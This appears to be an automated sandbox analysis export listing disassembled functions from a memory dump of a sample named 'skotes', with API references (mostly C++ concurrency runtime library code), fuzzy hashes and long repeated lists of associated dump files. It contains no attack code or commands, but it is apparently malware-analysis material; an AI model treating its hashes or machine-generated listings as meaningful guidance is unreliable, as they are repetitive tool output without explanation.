Opcode Fuzzy Hash: b9d5d80149ebec00107e8178eb4ec087349bcf1ac9d6f3ff198130eefa9e1ccf
Instruction Fuzzy Hash: 2B01D6B2600961AFCE657B64D886EEDB76BBF85710301012DF50557A53CF20ECA197A4

Function 006BEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 006BEE6A
ListArray.LIBCONCRT ref: 006BEE7C

Part of subcall function 006BEF29: _InternalDeleteHelper.LIBCONCRT ref: 006BEF3B

ListArray.LIBCONCRT ref: 006BEE86
_InternalDeleteHelper.LIBCONCRT ref: 006BEE9F

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: adad2121de72225fe6dc5328e778da5fec9ee81828c073a32b711f1e8236d055
Instruction ID: bd401d72b935bced946cd244aeb27090c2af8658159286ed9d2bd78a56833f5d
Opcode Fuzzy Hash: adad2121de72225fe6dc5328e778da5fec9ee81828c073a32b711f1e8236d055
Instruction Fuzzy Hash: 4001D6B1300521AFCB657B65C8C2DFEBB6BFF85710701002DF40557A52CB21EC929BA4

Function 006BD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 006BD0C5
ListArray.LIBCONCRT ref: 006BD0D7

Part of subcall function 006BC6B2: _InternalDeleteHelper.LIBCONCRT ref: 006BC6C4

ListArray.LIBCONCRT ref: 006BD0E1
_InternalDeleteHelper.LIBCONCRT ref: 006BD0FA

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 7870a40c021308574c836eceecda082d319563c081ff547dff4246e1322d0f55
Instruction ID: f9b791c05b0fd394e21de47cd69fa1080262586a2668d672777dc711dabe2a37
Opcode Fuzzy Hash: 7870a40c021308574c836eceecda082d319563c081ff547dff4246e1322d0f55
Instruction Fuzzy Hash: 2801FEB1700511BFCA657B64C9C6DEDB76BFF45711701101DF4015BA52DF20DC9297A4

Function 006C33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006C33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 006C33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 006C3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006C341F

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 4ea8f7a2edf0eb4553534135f1ebfe9a1fe26084ef659da0fb3d562c41e8bab2
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 6101FD32600524A7CF1AFA648841FFFB7ABDB84310F00801DFC16AB382DA70EE1193A0

Function 006B9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 006B9519

Part of subcall function 006AF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 006B5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 006B953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 006B9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 006B9559

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 9291e4c0b5223cd497c7f54e31613961fafa865e7ec75c7888f5bca45862ac95
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 22F037B1640B105EE6B2AB548811FEA23DBDF44715F00C41DE65B97242CE24FDC2CFA5

Function 006CF1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 006CF232
__freea.LIBCMT ref: 006CF298

Part of subcall function 006CB04B: RtlAllocateHeap.NTDLL(00000000,440B685B,?,?,006AD3FC,440B685B,?,006A7A8B,?,?,?,?,?,?,00697465,?), ref: 006CB07D

Strings

Zl,ml, xrefs: 006CF1D2

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
